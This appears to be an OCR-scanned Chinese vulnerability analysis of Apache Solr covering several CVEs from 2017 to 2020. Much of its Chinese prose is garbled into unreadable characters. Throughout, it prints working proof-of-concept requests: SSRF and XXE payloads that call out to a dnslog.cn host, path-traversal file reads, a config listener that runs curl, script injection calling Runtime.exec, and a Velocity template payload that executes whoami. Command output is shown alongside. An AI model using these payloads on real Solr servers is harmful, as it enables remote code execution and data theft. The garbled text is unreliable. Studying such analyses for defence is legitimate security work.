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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/8
2.0

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;g=0.8,zh-TW;g=0.7,zh-HK;gq=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

colud &=,

GET /solr/db/replication?command=fetchindex&masterUrl=http://d9rufs.dnslog.cn/xxxx&wt=7js
on&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb HTTP/1.1

Host: 192.168.33.130:8983

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/8
2.0

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;qg=0.8,zh-TW;g=0.7,zh-HK;gq=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

3. R34

—Dbin Sor FHIGEETAFTIZERT

—contrib B8&AKEXTF Sor WY R BIREBEFH—HF
—core core B9RZ/0N

| L—src

| —java.org.apache.solr

| | —analysis XADHTAIRE, BERSERZOIH, TE2FEAT

1 B . == = L)l N Ll I\



IUCehe = s AJIX/LN/JRE

| | —api Solr X4MRMHLART APIFITHRZA) 4MEE)

| | —client.solrj.embedded Solr RN T jetty, XEFE Jetty BFREZE
DS PN =S

| ——cloud Solr 7f cloud & T HIRIEXEE), B2 zk HHXAIAME

!
| | —core core HHxHILMIEE solrcore solrinfo CoreDescriptor 5
| | —filestore X {4H4MEE)

| | —handler 1&EKFE 72 E)

| | | —admin

| | | F—component
| | | F—export

| | | F—loader

| | | F—sql

| | | L—tagger

| | —highlight solr B=IhEEE]
| | —index

| | —internal

| | —legacy

| | —logging HGINEELIRE)
| | —metrics

| | —packageranager

| | —parser RITE



| | —pkg

| | F—aquery E18THEELNE

| | F—request 1EKBIELME SolrQueryRequestBase 7EiX B
| | —response JR@EIELNE

| | —rest rest IhBE, B1S restApi 4MEIZ4E
| | —schema & E X

| | —search search THAERZFAMES

| | | F—join

| | | F—mlt

| | | F—similarities

| | | L—stats

| | ——security Z2INEEANER

| | —servlet Serviet Filter Wrpper @42
| | —spelling

| | [—store

| | —uninverting

| | —update FERS|IEMAIEIZEE

| | —util —(THZk

| —resources

| —test

| L —test—files

F—dev—docs



F—docs

—example T34

| F—example-DIH

| F—exampledocs

|  F—fles

| L—films

—licenses &R FNMNIY

—server AT Solr YEX BRSIEATHIME S EBIF AT IR 2
—contexts B35 Solr &Y Jetty NT1AY F FXEE
F—etc Jetty RS 2ECESF, X2 R DUEERIAR 8983 Uik 2 AL EMBAY
lib Jetty BRZ528F2 X N AIPIHAT JAR BIMINE R A9 E)
|  L—ext
F—logs HiE# L EIX DS
F—rmodules http\https\server\ss| & &R
F—resources FHE Log4) FIECE S+
—scripts Solr IZ1THINE I A
| —cloud-scripts

F—solr iz1T Solr MECE X EMRFEXE, solrxml X, BEEHAIMNEE; zoo.cfg
X4, 168 SolrCloud BREE B, FX{H% / configsets FHE Solr BRBIECE X F, &
PERBY core HIAEIXE PAK configsets &

—site
—solr-ref-guide

—solrj solr & FIHfEF



FRERIS R XE

L—webapp &
4. Fshidig

B Y EREK, WMEHXE T https://xz.aliyun.com/t/9247
5. IRiBHPZ0E
B X EXK, BEIXET https://xz.aliyun.com/t/9248

6.Apache Solr FEIFRH

HEMBEERE "/ 2& """ 57,
889 handler,

=B —

.11}4

B fadmin/file

ADMIN
=
SOl.r kel CACHE B Jadmin/health
B CORE & [admin/logging
& Dashboard HIGHLIGHTER & /admin/luke
Logging GTHER E Jadmin/mbeans
< Cloud & [admin/ping -
QUERY -
_—
J Collections % QUERYPARSER & Jadmin/plugins

Java Properties = fadmin/properties

REPLICATION
Thread Dump SPELLCHECKER = [adminfsegments
W Suggestions UPDATE = fadmin

dmin/threads
@ Watch Changes B fconfin
& Refresh values B /schema
= erg.apache.solr handler.admin. AutoscalingHistoryHandler
= org.apache.solr.handler.admin.CollectionsHandler

= erg.apache.solr.handler.admin.ConfigSetsHandler

= org.apache.solr.handler.admin.CoreAdminHandler

= erg.apache.solr handler.admin. InfoHandler

E worg.apache.solr handler.admin.

B erg.apache.solr handler.admin.

Pl g — LS

cumentation  fff Issu

e Tracker

PRERM, ERATIERBEXN ML LTS
B2 Plugins/Stats 2&ERN T, BEIXN 7 & url f9R0IEZE

. IRC Chanm
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static

handlerMam

reqHandle

registry =

¥ ¥ ¥ ¥ ¥y ¥y vy vy vy vy y vy

immutableRegi

def = null

"t RUNNING

‘org.apache.solr.handler)

Y ¥ Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y Y YNYYNYIYNIYIYIYVYY
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immutable
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1. iR

1.1. ®RETIR

B

shards S}

SSRF

R IER

XXE&RCE

XXE

RS

CVE-2017/-
3164

CVE-2017-
3163

CVE-2017/-
12629

CVE-2018-
1308

CVE-2018—-

/., RmiREx

SRR A ipas

1.4.0-6.4.0

5 3164

<7.1.0

1.2 £ 6.6.2
M 7.00 &
7.2

N MmN N 77 N 1



VAVA IS =]/ V.V, /.01

8026
%1, RCE CVE-2019— S 5001t 555
0192 and 6.0.0 to
6.6.5
CVE-2019— N
RCE = <820
0193
CVE-2019— N 5.0.0 lr&xZE L
RCE =7 BHGEN
17558 8.3
. CVE-2020- N Solr86.2 7
TRXM SV o
13957 I

1.2. iFES 5 KB

A 27

BAREN . config AP, [EBSFEERNEE EEITIR. RFFIM. config set X E1&
B. XBx

5 http. APl IES2THEEHTE

2. EMR 5

2.1. CVE-2017-3163
211 M
poc U0~

getlLatestVersion:202, IndexFetcher (org.apache.solr.handler)
fetchLatestIndex:286, IndexFetcher (org.apache.solr.handler)
fetchLatestIndex:251, IndexFetcher (org.apache.solr.handler)

doFetch:397, ReplicationHandler (org.apache.solr.handler)
lambda$handleRequestBody$0:279, ReplicationHandler (org.apache.solr.handler)
run:-1, 939130791 (org.apache.solr.handler.ReplicationHandler$$Lambda$85)
run:-1, Thread (java.lang)

2MEE



Burp Suite Community Edition v2020.8.1 - Temporary Project
ty ry Proj

Burp Project Intruder Repeater Window Logger++ Help

Dashboard | Target | Proxy | intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Logger++ | Fastison scan |

[Tl [ Joul |

>\v

Send Cancel

Request

MF‘arams ]'HeadersTHex]

v

Target: http://192.168.33.130:8983 /@

Response

R e [ |

1 GET /solr/db/replication?command=filecontentdfile=

! I S S S R | /.. fa txt&wt=filestream&generation=1
HTTPH 1
Z Host: 192.168. 33. 130:8983
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Wind4; xé4; rv:82.0)
Gecko/20100101 Firefox/82.0
4 hccept:
text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */%;q=0

B
Accept-Language:
zh-CN, zh;q=0. B, zh—-TW;q=0. 7, zh-HK ;q=0. 5, en-US; g=0. 3, en;g=0. 2
Accept—Encoding: gzip. daflatal

Connection: close

8 Upgrade-Insecure-Requests:

w

o

1 HTTP/1.1 200 OK L
2 Cache—Control: no—cache, no-store

3 Pragma: no—cache

4 Expires: 3at, 01 Jan 2000 01:00:00 GMT

5 Last-Modified: Mon, 02 MNov 2020 10:24:57 GMT

6 ETag: "175887d09c0”

Content—Type: application/ectet—stream
Connection: close

o m

o

! aaaaaaaaaaaaaaaaaaaaaaa

% Gache-Control: max-age=0
0 b
1" | L
@{:} &J EJ Search 0 matches m Pretty @{:; &J EJ Search omatches (o] DETe
Done 269 bytes | 4 millis
21.2 ot
42 4
BER
2017/3/1 0:23:22 65976 FT Java JTH ~ ANSI = UNIX 2017117 23:0005 65253 FF Java T » ANSI = UNIX
B R [ 1
import java.nio.file.Path; L3 8
import java.nlo.file.Paths;
: 384 R [F .
3 fileName = validateFilenameOrError(params.get(FILE)); & fileMame = params.get(FILE);
cfileName = validateFilenameOrError(params.get(CONF_FILE_SHORT)); cfileName = params.get(CONF_FILE_SHORT);
tlogFileName = validateFilenameOrError(params.get(TLOG_FILE)); tlogFileName = params.get(TLOG_FILE);
; sOffsat = params.get(OFFSET); =] sOffset = params.get(OFFSET);
sLen = params.get(LEN); sLlen = params.get(LEN);
compress = params.get(COMPRESSION); compress = params.get(COMPRESSION);
useChecksum = params.getBool(CHECKSUM, false); useChecksum = params.getBool(CHECKSUM, false);
indexGen = params.getLong(GENERATION); indexGen = params.getLong(GENERATION);
if (useChecksum) { if (useChecksum) {
checksum = new Adler32(); checksum = new Adler32();
} }
/Mo throttle if MAX_WRITE_PER_SECOND is not specified No th le if I ie
double maxhriteMBPerSec = params.getDouble(MAX_WRITE_PER_SECOND, Double.MAX_VALUE) double maxhriteMBPere: = params. g!mnuhlp (MAX_WRITE_PER_SECOND, Double.MAX_VALUE)
rateLimiter = new RatelLimiter.SimpleRateLimiter(maxiWriteMBPerSec); ratelLimiter = new RateLimiter.SimpleRateLimiter(maxiriteMBPerSec);
> ‘
// Throw exception on directory traversal attempts
protected String validateFilenameOrErrori(String filename) {
if (filename 1= null) {
Path filePath = Paths.get(filename);
. i
if ("..".equals(subpath.toString())) {
throw new SolrException(ErrorCode.FORBIDDEN, "File name cannot contain ..K);

)] .
1B '
if (filePath.isabsclute()) { <

throw new SolrException(ErrorCode.FORBIDDEN, "File name must be relative™); |

HRERT < > < »

1436:45
-+ -protected-String-validateFilenameOrErron(String-filename) - {9

iy, BT — FeAY
Solr Bendfzrsbi2@iE, B4ES poc A9 url:

ReplicationHandler B9 handlerequest 7574, FTUART R B & NEIXE

J&, BEixEft ReplicationHandler d it 7 1d

/

W&EZETJ%\WE’\J
solr/db/replication, FILAYEZEI B
e]

//L,\,

AR
=AEx

2|



SolrDispatchFilter.java ReplicationHandler.java HttpSolrCalljava ) HttpCacheHeaderUtil java B s RequestHandlerBase java

handlerequest 1 result

(commitPoint !=

ERBBENRAE, 2B EIE

BEREOEER T X

1

W

g2E, HXNRAERFNXAG DRGSR T — A2, WREM " FE, M
[e] 403

o



fileName = validateFilenameOrError(params.get(FILE));
cfileName = validateFilenameOrError(params.get(CONF_FILE_ SHORT))

tlogFileName = validateFilenameOrError({params.get(TLOG_FILE));

sOffset = params.get(OFFSET);
sLen = params.get(LEN);
compress = params.get(COMPRESSION);
useChecksum = params.getBool({CHECKSUM, false);
indexGen = params.getLong(GENERATION);
if (useChecksum) {
checksum = new Adler32();
1
f/No throttle if MAX_WRITE_PER_SECOND is not specified
double maxWriteMBPerSec = params.getDouble(MAX_WRITE_PER_SECOND, Double.MAX_WVALUE)
rateLimiter = new Ratelimiter.SimpleRatelimiter(maxWriteMBPerSec);

rotected String validateFilenameOrError(String filename) {
if (filename != null) {
Path filePath = Paths.get(filename);
filePath.forEach(subpath -» {
if ("..".equals(subpath.toString())) {

throw new SolrException(ErrorCode.FORBIDDEN, "File name cannot contain ..

}

1)
if (filePath.isAbsolute()}) {
throw new SolrException(ErrorCode.FORBIDDEN, "File name must be relative™);

2:1
Raw | Params | Headers | Hex | Raw | Headers | Hex |

GET /solr/db/replication?command=filecontent&file=. | /\a. txtlwt= A 1 HTTP/1.1 403 Forbidden
filestreambgeneration=1 HTTP/1.1 r 2 Cache-Control: no-cache, no-store
Host: 192. 148. 33. 130:8984 3 Pragma: no—cache

User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:82.0) 4 Expires: Sat, 01 Jan 2000 01:00:00 GMT
Gecko/20100101 Firefox/82.0 5 Last-Modified: Thu, 05 Nov 2020 10:58:44 GMT
Accept: & ETag: "175980f0abd"

text/html, application/xhtml+xml|, application/xml;q=0.9, image/webp, */*;q=0 . 7 Content-Type: application/octet-stream
.8 & Connection: close

Accept—Language: 9

zh—CN, zh;q=0. 8, zh-TN;q=0. 7, zh-HK ;9=0. 5, en-US;q=0. 3, en;g=0. 2 10

Accept—Encoding: gzip, deflate
Gonnection: close
Upgrade-Insecure—Requests: 1
Cache-Control: max-age=0

2.2 CVE-2017-3164

221 €1

POST /solr/db/dataimport HTTP/1.1

Host: 192.168.170.139:8983

Connection: close

Content-Type: application/x-www-form-urlencoded



Content-Length: 208
command=full-import&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3
E

%3C!DOCTYPE+root+%5B%3C! ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F127.0.0.1:7777%2Fftp

y . ®
- | o 1| Bup Project itnuder Repeater Window Logger++ Help
[ Dashbaard | Target | Provy | itruder [ Repeater | Sequencer | Decoder | Compares | Extender | Project optians | User options | Logger++ | Fastison scan |

[v<Jz«J2Ja s [o[7JexJoxTrwx]1n]r2~Juaus]-]

Gal Subbomain || Refresh Record Send | Cancel | [ <[v| > Target hupiis.168.32. 1308983 7 (7)
d9rufs.dnslog.cn Reguest Response
oNS = oo | maw | Params | peaders | Hex | maw | Heaers | vex | Renaer |
.| GET Jsolr/db/replication?conmand=fetchindexbmastarlr |= H T HTTRA1.1 200 0K
d9rufs.dnslog.cn 220.181.151.173 i http://d9rufs. dnslog. en Ewt=) i I Cache-Cor no-cache

httpBasi cAuthPasswor d=bbb HTTP/1.1 Pragma

dorufs.dnslag.cn 220.181.151.173 © 0 Host: 192. 168,33, 130:8963 4 Exni Jan 2000 01:00:00 GHT
User—Agent: Mozilla/5. 0 (Windows NT 10.0; Windd; xé4; rv:82,0) 5 Last-Modified: Fri. 06 Nov 2020 10:24:58 GNT
Gecko/20100101 Firefox/B2.0 6 ETag: "1759d168070°
4 hecept - Content-Type: text/plain:charset=utf-8
toxt/htal, app|ication/shtml+xml, sppl icat ion/uml :0=0. 9. image/webp, */*:q=0 & Gonnection: close
.8 9
© Accept—Language: 10 {"responseHeader”: [“status” 0, "0Time” 446} “status”: "0K*}

zh—CH., zh;q=0 8. zh-TW;q=0. 7, zh-HK q=0. 5, en-US;g=0. 3, en:g=0. 2
& hocept=Encoding: gzip. deflate

Connection: clos
¢ Upgrade- Insecure-Regquests : 1
¢ Cache-Control : max-age=0

-
@{é} | | |Searc Omatches | in | Prety @{é} || |2 |Sear O matches | n retty
Dore 296 bytes | 3,579 milis

2.2.2 9t

WE poc, path &L E / db/replication, FrLARIZMLIHHE
org/apache/solr/handler/ReplicationHandler java &, {EZHMH T command=fetchindex,
command IZERE, FINSERINEBGIEZE, XBES#HARE—T



IndexDeletionPolicyWrapper.getCommitTimestamp(commitPoint))
commitPoint.getGeneration())

(command. “wvelai
getFileStream(solrParams, rsp)

(command.equals
getFileList(solrParams “ip}

(command.equalsIgnoreCas
doSnapShoot( ModifiableSolrParam
rsp.add( )

(command.equalsIgnoreCas
restore( ModifiableSolrParams
rsp.add(

(command.
rsp.

(command.equalsIgnoreCas )
deleteSnapshot( ModifiableSolrParams(solrParams))

i

rsp.add(

(command.equalsIgnoreCase(
string masterUrl = solrParams.get(

f

&& masterlrl ==
rsp.a
rsp.a

XEZTRR— 1412, #A doFetch MR IEZEE

(command.egualsIgnoreCase(
ut|1ng masterUrl = solrParams.get(
&& masterUrl == )
“ap.ecc:
rsp.add(

SolrParams paramsCopy ModifiableSolrParams(solrParams)
Thread fetchThread wread(() -> doFetch(para

(solrPara
fetchThread. join()
}




RARERHRRNEHT

I IS E R A%

http://192.168.33.144:8983/solr/db/select?q=%7b%21%78%6d%6C%70%61%72%7 3%65%7 2%20%76%3d%2
7%3C%21%A44%A4 £%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20 " http: //aaa.mryg4g.dnslog.cn">

<a></a>" Fewt=xml

2.3 CVE-2018-1308

2.3.1 €M

POC:

POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983

Connection: close

Content-Type: application/json
Content-Length: 198

{

"add-1listener" : {

n,n

"event":"newSearcher",

"name" :"newlistener-1",

n,n

"class":"solr.RunExecutablelListener",
"exe":"curl",
"dir":"/usr/bin/",

"args":["http://127.0.0.1:8080"]

parseXML:127, CoreParser (org.apache.lucene.queryparser.xml)
parse:115, CoreParser (org.apache.lucene.queryparser.xml)
parse:62, XmlQParserPlugin$XmlQParser (org.apache.solr.search)



getQuery:168, QParser (org.apache.solr.search)

prepare:160, QueryComponent (org.apache.solr.handler.component)
handleRequestBody:269, SearchHandler (org.apache.solr.handler.component)
handleRequest:166, RequestHandlerBase (org.apache.solr.handler)
execute:2306, SolrCore (org.apache.solr.core)

execute:658, HttpSolrCall (org.apache.solr.servlet)
call:464, HttpSolrCall (org.apache.solr.servlet)
doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:296, SolrDispatchFilter (org.apache.solr.servlet)

| | Params. | riaaders | Hax R | Headers | rex

Imhosts
Imhosts. sam
networks

protocol
services 550 'Not enough privileges.'

2.3.2 ot

ZE1ERM url FhENE[B) R 7 org.apache.solr.handler.dataimport.DatalmportHandler, 4&&
command K dataConfig 28, RIReIUAEAE

this.importer.maybeReloadConfiguration(requestParams, defaultParams);

IR H org.apache.solr.handler.dataimport.Datalmporter#maybeReloadConfiguration 5%



he¥beReloecCorf1gL“et10riReqLeatero params, NamedList<?> defaultParams) I0Exception {
.importLock.tryLock()) {

!'= params.getRequest() && . ema != params.getReguest().getSchema()) {

.schema = params.getReguest().gets

String dataConfigText = par .getDataConfig()
String dataconfigFile = par .getConfigFile()

1= dataConfigText.length() > 8) {
InputSource( StringReader(dataConfigText))
(dataconfigFile !'= ) o
e( .core.getResourcelLoader() .openResource(dataconfigFile))
emIdResolver.creat : romResourceName (dataconfigFile))
+ dataconfigFile)

.loadDataConfig(is)

PR org.apache.solr.handler.dataimport.Datalmporter#tloadDataConfig, LA &RINE

AT XXE BIBH1EALIE

DIHConfiguration loadDataConfig(InputSource configFile) {
DIHConfiguration dihefg =

{

DocumentBuilderFactory dbf = DocumentBuilderFactory.newIns
( .core !'= k& configFile.getSystemId() '=

{

dbf.setXIncludeAware(

dbf.setNamespaceAware( )

(UnsupportedOperationException varll) {
LOG.warn(

DocumentBuilder builder = dbf.newDocumentBuilder()
( .core = ) o

builder.setEntityResolver( SystemIdResolver( .core.getResourceLoader()))

builder.setErrorHandler (XMLLOG)

Document document
{
document = builder.parse(configFlile)
I

I0Utils.closeQuietly(configFile.getByteStre




BE, XEEERERTRANEE, XEH commit BRHEEE T CVE-2019-0193, #MT1E
my

i

enable.dih.dataConfigParam (EMAN false) RABERESN solr FEMEI F 251 -
Denable.dih.dataConfigParam=true 7 &#%1% &R true,

Response

2.4 CVE-2017-12629

241 81

XXE:

<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[L
function poc(){ java.lang.Runtime.getRuntime().exec("calc");
ks
11></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>



Get SubDomain Refresh Record

mryg4g.dnslog.cn

DNS Query Record IP Address Created Time
aaa.mryqg4g.dnslog.cn 7021-03-11 15:15:10

RCE:

<dataConfig>

<dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:${solr.install.dir}/exam
ple/example-DIH/hsqldb/ex" user="sa" />

<document>

<entity name="item" query="select * from item"
deltaQuery="select id from item where last_modified > '${dataimporter.la
st_index_time}'">
<field column="NAME" name="name" />

<entity name="feature"
query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'"
deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dat
aimporter.last_index_time}""
parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}">
<field name="features" column="DESCRIPTION" />

</entity>

<entity name="1item_category"
query="select CATEGORY_ID from item_category where ITEM_ID='${item.I
D}""
deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where las
t_modified > '${dataimporter.last_index_time}'"
parentDeltaQuery="select ID from item where ID=${item_category.ITEM_
ID}">
<entity name="category"
query="select DESCRIPTION from category where ID = '${item_categ
ory.CATEGORY_ID}""
deltaQuery="select ID from category where last_modified > '${dat

aimnor+er lac<t index +imel'"



parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category
where CATEGORY_ID=${category.ID}">

<field column="DESCRIPTION" name="cat" />

</entity>
</entity>
</entity>
</document>

</dataConfig>

2.4.2 9t

XXE

HS 2 Lucene EIAYRENE, M Solr X2 Lucenne TERNRZIMEN DHITSI1ZE, PR IR RS

=
e, E{REE ST org.apache.lucene.queryparser.xml.CoreParser#tparseXMIL

BIDVE s B IR T XMI BT XXE ROBATE, AT EZV Bk

write:151, VelocityResponseWriter (org.apache.solr.response)
writeQueryResponse:65, QueryResponseWriterUtil (org.apache.solr.response)
writeResponse:732, HttpSolrCall (org.apache.solr.servlet)

call:473, HttpSolrCall (org.apache.solr.servlet)

doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)

B8, 1BIN7T XXE B FH

RCE:



XNEARRABVEIL 1, [B)ERZE AR org.apache.solr.core.RunExecutablelistenerttexec

EHBERDEERIEXTEN T

All Classes Files Symbaols Actions ¥| Include non-project items ¥ &l

solr.RunExecutablelistener

2.5 CVE-2018-8026

1% configset BRITECE STME xml BRER xxe, BRI EIZ S
https://xz.aliyun.com/t/2448

B{KZ& org.apache.solr.schema.FileExchangeRateProvider {88, #B#%A SafeXMLParsing
i



2.6 CVE-2019-0193

2.6.1 81

anfiguration A Debug-Mode & Rek

& Raw Debug-Response

POC:

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @ssscon

2.6.2 9
G2 DatalmportHandler £ [6]20

HNZ Dataimport THEETIE, FT/3 debug, BRIALH T xml



B Configuration A Debug-Mode § Reload

¢datalonfigr =)
<dataSonrce driver="org hsqldb jdbeDriver” wl="jdbe heqldh: ${solr install dir}/exanple/esanple-TTH/hoqldb/es” user="sa" />
Cdocumant?
Centity name="iten” query="select # From iten”
doltaluory="salect id fron iten whore lazt nodifisd 5 " §{dstainporter. last_index_timal ™

<field colum="NAME" nane="rane’ /3

curl -d "{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":t
rue}}’ http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json’

curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url
=file:///C:/a.txt"

entity Fres P IFHAT script, HXHF jndi, @B s, B dataimport 3235
FITHEES M) E 5 XY https://solr.apache.org/gquide/8_6/uploading—structured—data—

store—data—-with—the—data—import—handler.htm|

" Solr 8.6 Solr Website(®  Other Formats *  Solr Resou

Uploading Structured Data Store Data with the Data Import Handler

n The Data Import Handler is deprecated is scheduled to be removed in 9.0. This functionality will likely migrate to a 3rd-party plugin in the near On this Page
DIH Concepts and Termin

future.

solr's DIH Examples

.

Many search applications store the content to be indexed in a structured data store, such as a relational database. The Data Import Configuring DIH

Handler (DIH) provides a mechanism for importing content from a data store and indexing it.

-

DatalmportHandler Corm
Property Writer

.

In addition to relational databases, DIH can index content from HTTP based data sources such as RSS and ATOM feeds, e-mail repositories, and structured XML~ * Data Sources
where an XPath processor is used to generate fields. Entity Processors
Transformers

Special Commands for DI

DIH Concepts and Terminology

Descriptions of the Data Import Handler use several familiar terms, such as entity and processor, in specific ways, as explained in the table below.

Datasource

As Its name suggests, a datasource defines the location of the data of interest. For a database, it's a DSN. For an HTTP datasource, it's the base URL.

Entity

Conceptually, an entity is processed to generate a set of documents, containing multiple fields, which (after optionally being transformed in various ways) are sent to Solr for indexing. For a RDEN
source, an entity is a view or table, which would be processed by one or more SQL statements to generate a set of rows (documents) with one or more columns (fields).

Processor

An entity processor does the work of extracting content from a data source, transforming it, and adding it to the index. Custom entity processors can be written to extend or replace the ones supg

Transformer

ANTIEIN Y

enable.dih.dataConfigParam (2RIAR false) RABED) solr BIEHMEI 53 -
Denable.dih.dataConfigParam=true ZF S#IRE N true, FIALMUT



package for may be used instead (See SOLR- 14066 for details),

= LT
W Core i uimport H
oertes | [lyerbose

A DebugMade & Reload

uuuuuuuuuuuu # Issue Tracker g IRC Channel | Community forum i Solr Query Syrtax

2.7 CVE-2019-0192

2.71 €M

https://github.com/mpgn/CVE-2019-0192/

2.7.2 DA

Solr IS EFALE, BREFHFHZ Solrconfigxml M2 configoverlay.json

EAXEZENT

Config APl BJ BAME A ZEL REST 9 API 1B AR IBER solrconfigxml B9 H .

EIhEEBOAE A, FF BT SolrCloud AIRIIEIN TR TIEATEM, HFZBERIEN
B (WEFXR/NIRRIRE) TIERMERFE X ] DUERALL API #H1TEML,

{EALE AP BT, solrconfigxml N8B, Hxk, PIBERENICESFHETI— RN
configoverlay.json B9 {4, 1% configoverlay.json F{EZ&EZE solrconfig.xml AR
(=

FRANDEL core MIEHME B A= 0%, configoverlay.json X4, (BB HAXE, HBOMEH

- el N o L - V) s A 1L N2l A



conngoveriay.json B LARR A Org.apacne.solr.core.oolronng mNje W/ 412 /7 74

curl

-d '{

"set-property"” : {"requestDispatcher.requestParsers.enableRemoteStreaming”:t

rue}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'

it & org.apache.solr.core.SolrCorettinitinfoRegistry

=
WK

il

2.8 CVE-2019-17558

2.8.1

| Send

g

Y| >|v

Request

Raw | Params l Headers IHex ‘

Target: http://192.168.33.144:8983 7 @

Response

Raw | Headers [Hex ] Render |

POST
2 Host:

! User=
1 Accept
5 Accept-Language:

/solr/db/config HTTP/1. 1
192. 168, 33. 1448983
Agent: Mozilla/5. 0 (Windows NT 10.0; Winéd; x64; rv:B6.0) Gecko/20100101 Firefc

application/json, text/plain, */*
zh=CN, zh:q=0. B, zh-TW: q=0. 7, zh-HK; q=0. 5, en-US: g=0. 3, en:g=0. 2

» Accept-Encoding: gzip, deflate
Connection: close

8 Referer:

http://192. 168. 33. 144 :8983/s0lr/

7 Content-Type: application/json
) Gontent-Length: 259

2/l

"update-queryresponsewr i ter"

"startup”:
“name” :

lazy®,

"velocity”

"class”:"solr. VelocityResponselr iter

“template. base.dir”:

cnomiirne leader arnch i ad™

.
~

HTTP/1.1 200 OK
! Content-Type: text/plain;charset=utf-8
! Connection: close
51
"responseHeader " [
status”:0.
“QTime":2000].
"WARNING":"This response format is experimental
change in the future. "]

It is likely to




“params. resource. |oader, enabled”: "true’

| v
=" ey
NG (el 3] [sear omatches | n | CPretv! (VG [« [ [sear Omatches | n | [ Pret
S— ey - T
Request Response
Raw | Params | Headers | Hex Headers | Hex Render‘
1 GET /solr/db/select?q=1&&wt=veloc|ty&v. template=customdv. template. custom= : HTTP/1.1 200 OK
%23set (§x=%27%27) +%23set ($rt=$x. class. forName (%27 java. lang. Runt ime%27))+%23s Z Content-Type: text/html;charset=utf-8
et ($chr=%$x. class. forName (%27 java. lang. Character%27))+%23set (§str=$x. class. fo 3 Connection: close
rName (%27 java. lang. Str ing%27) ) +%23set ($ex=%rt. getRuntime (). exec (%27whoami%27 |
))+$ex. waitFor () +%23set ($out=$ex. get InputStream() ) +4%23foreach ($i+in+[1.. $out 5 0 win-unca29d8586\administrator

available()]) $str. valueOf ($chr. toChars ($out. read () ) )%23end HTTP/1.1 £
2 Host: 192.168. 33. 144.:8983
3 User—-Agent: Mozilla/5.0 (Windows NT 10.0; Winbé4, xé4; rv:B6.0)

Gecko/20100101 Firefox/86.0

4 Accept: application/json, text/plain, */%
5 Accept—Language: zh-CN, zh;q=0. 8, zh—-TW;qg=0. 7, zh—HK; g=0. 5, en-US;q=0. 3, en;q=0. 2
6 Accept-Encoding: gzip, deflate
" Connection: close

8 Referer: http://192.168. 33.144:8983/s0lr/

2.8.2 9

Velocity #&iR5I1ZEANE o2 E, FEEI config api FFBEIRSIZEF %
params.resource.loader.enabled, Solr IR EIER HEEIENVELE api, ERINEE, BT
Solr B ARERNAREEN, MUK GEETUNEZEE

BE MERGB LT, BREIABTTIRIVEZAI R & EISEN

org.apache.solr.servlet.HttpSolrCall#twriteResponse

org.apache.solr.response.QueryResponseWriterUtil#writeQueryResponse



B IE B S |25 2/ E& org.apache.solr.response.VelocityResponseWriterttwrite

ERY BB 18 A%

curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url
=file:///C:/a.txt"

2.9 CVE-2020-13957
B APl &Y

https://lucene.apache.org/solr/gquide/8_4/configsets—api.html#tconfigsets—api



The configset to be created when the upload is complete. This parameter is required.

The body of the request should bhe a zip file that contains the configset. The zip file must be created from
within the conf directory (i.e., solrconfig.xml must be the top level entry in the zip file).

Here is an example on how to create the zip file named "myconfig.zip" and upload it as a configset named
"myConfigSet":

$ (cd solr/server/solr/configsets/sample_techproducts_configs/conf && zip -r - %) >
myconfigset.zip

$ curl -X POST --header "Content-Type:application/octet-stream" --data-binary @myconfigset.zip

"http://localhost:8983/s0lr/admin/configs?action=UPLOAD&name=myConfigSet"

The same can be achieved using a Unix pipe with a single request as follows:

L 1 .
=ucidaliul
$ (cd server/solr/configsets/sample—techproducts_coafigs/conf && zip -r - #) | curl -X POST --
header "Content-Type:application/octet-stream" --data-binary @-
"http://localhost:8983/so0lr/admin/configs?action=UPLOAD&name=myConfigSet"

o The UPLOAD command does not yet have a v2 equivalent APL

B /EE I E X

docker cp c3:/opt/solr-8.2.0/server/solr/configsets/_default/conf ./
&2 solrconfig.xml velocity.params.resource.loader.enabled:false 9 true

startup=

name= emplate.base.dir:}

t

${velocity.solr.resource.loader.enabled:true}

name="pa 5 e. velocity.params.resource. loader.enabled:true}
P 1

EESUNN



kay (D) » tmp » FEMEFE » 1 » sssconfigset

pu ~
lang
managed-schema
| params.json
~ protwords.txt
solrconfig.xml
stopwords.txt
synonyms.txt

8 EEA

2020/10/13 14:23
2020/10/13 14:23
2020/10/13 14:23
